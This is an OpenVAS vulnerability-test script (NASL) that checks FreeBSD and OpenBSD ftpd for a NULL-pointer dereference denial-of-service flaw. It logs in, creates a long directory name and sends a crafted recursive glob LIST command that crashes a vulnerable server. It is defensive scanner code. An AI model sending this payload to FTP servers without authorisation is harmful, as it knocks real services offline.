###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_bsd_ftpd_38559.nasl 7371 2010-04-20 14:32:38Z chandra $
#
# FreeBSD and OpenBSD 'ftpd' NULL Pointer Dereference Denial Of Service Vulnerability
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if (description)
{
 script_id(100532);
 script_bugtraq_id(38559);
 script_version ("1.0-$Revision: 7371 $");
 script_tag(name:"risk_factor", value:"High");

 script_name("FreeBSD and OpenBSD 'ftpd' NULL Pointer Dereference Denial Of Service Vulnerability");

desc = "Overview:
The FreeBSD and OpenBSD 'ftpd' service is prone to a denial-of-service
vulnerability because of a NULL-pointer dereference.

Successful exploits may allow remote attackers to cause denial-of-
service conditions. Given the nature of this issue, attackers may also
be able to run arbitrary code, but this has not been confirmed.

This issue affects the following releases:

FreeBSD 8.0, 6.3, 4.9 OpenBSD 4.5 and 4.6

Solution:
Updates are available; please see the references for more information.

References:
http://www.securityfocus.com/bid/38559
http://www.freebsd.org/
http://www.openbsd.org/errata45.html
http://www.openbsd.org/errata46.html
http://www.openbsd.org

Risk factor : High";

 script_description(desc);
 script_summary("Determine if ftpd is prone to a denial-of-service vulnerability");
 script_category(ACT_DENIAL);
 script_family("FTP");
 script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
 script_dependencies("find_service.nes","secpod_ftp_anonymous.nasl","ftpserver_detect_type_nd_version.nasl");
 script_require_ports("Services/ftp", 21);
 exit(0);
}

include("ftp_func.inc");

if(safe_checks())exit(0);

ftpPort = get_kb_item("Services/ftp");
if(!ftpPort){
  ftpPort = 21;
}

if(get_kb_item('ftp/'+port+'/broken'))exit(0);

if(!get_port_state(ftpPort)){
  exit(0);
}

soc1 = open_sock_tcp(ftpPort);
if(!soc1){
  exit(0);
}

domain = get_kb_item("Settings/third_party_domain");
if(isnull(domain)) {
 domain = this_host_name();;
}    

user = get_kb_item("ftp/login");
pass = get_kb_item("ftp/password");

if(!user)user = "anonymous";
if(!pass)pass = string("openvas@", domain);;

login_details = ftp_log_in(socket:soc1, user:user, pass:pass);

if(login_details)
{
  
  result = ftp_send_cmd(socket:soc1, cmd: string("syst"));
  if("BSD" >!< result)exit(0);
  
  crap = crap(length: 193, data: "W");
  result = ftp_send_cmd(socket:soc1, cmd: string("MKD ", crap));

  if("257" >!< result) {
    if(result !~ "550 W{193}: File exists") { 
      exit(0); 
    }  
  }  

  ftpPort2 = ftp_get_pasv_port(socket:soc1);
  if(!ftpPort2)exit(0);

  soc2 = open_sock_tcp(ftpPort2, transport:get_port_transport(ftpPort));
  if(!soc2)exit(0);

  send(socket:soc1, data: string("list {W*/../W*/../W*/../W*/../W*/../W*/../W*/}\r\n"));
  result1 = ftp_recv_line(socket:soc1);
  result2 = ftp_recv_data(socket:soc2);

  if(!result1 && !result2) {
    security_warning(port: ftpPort);
    exit(0);
  }  
 
  close(soc1);
  close(soc2);
}

close(soc1);

exit(0); 

     
